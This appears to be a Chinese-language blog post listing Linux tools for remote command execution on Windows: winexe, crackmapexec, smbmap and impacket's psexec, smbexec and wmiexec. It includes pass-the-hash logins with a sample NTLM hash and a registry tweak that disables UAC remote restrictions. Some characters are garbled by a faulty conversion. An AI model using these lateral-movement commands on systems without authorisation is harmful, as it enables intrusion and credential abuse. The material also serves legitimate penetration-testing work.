天天看點

Linux 遠端連接配接Windows執行指令方法總結

winexe

winexe在kali裡面自帶,用于在linux平台連接配接windows機器

環境要求:開啟檔案共享,即smb服務;禁用UAC遠端限制

pth-winexe -U username%password //remote_ip cmd.exe  --system
           
Linux 遠端連接配接Windows執行指令方法總結

支援ntlm hash直接登入

Linux 遠端連接配接Windows執行指令方法總結

若報錯

E_md4hash wrapper called.

ERROR: CreateService failed. NT_STATUS_ACCESS_DENIED.

則需要禁用UAC遠端限制,在系統資料庫HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 添加DWORD項LocalAccountTokenFilterPolicy為1即可

crackmapexec

執行系統指令,還可以下載下傳sam等,具體help

crackmapexec target_ip -u username -p password -x command

           
Linux 遠端連接配接Windows執行指令方法總結

smbmap

用于識别共享目錄,另外也可執行系統指令

smbmap -u username -p password -d workgroup -H target_ip -x command
           
Linux 遠端連接配接Windows執行指令方法總結

impacket包工具

安裝impacket,使用者處理網絡協定的python類的集合

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
在examples目錄中
           

impacket.psexec

可直接擷取windows cmd

python psexec.py -debug sojrs:[email protected]
           
Linux 遠端連接配接Windows執行指令方法總結

impacket smbexec

python smbexec.py -debug sojrs:[email protected]
           
Linux 遠端連接配接Windows執行指令方法總結

impacket wmiexec

python wmiexec.py -debug sojrs:[email protected]
           
Linux 遠端連接配接Windows執行指令方法總結

支援ntlm hash連接配接

python wmiexec.py -debug -hashes aad3b435b51404eeaad3b435b51404ee:2f540cb5700d062249143040bcd94faa [email protected]
           
Linux 遠端連接配接Windows執行指令方法總結

繼續閱讀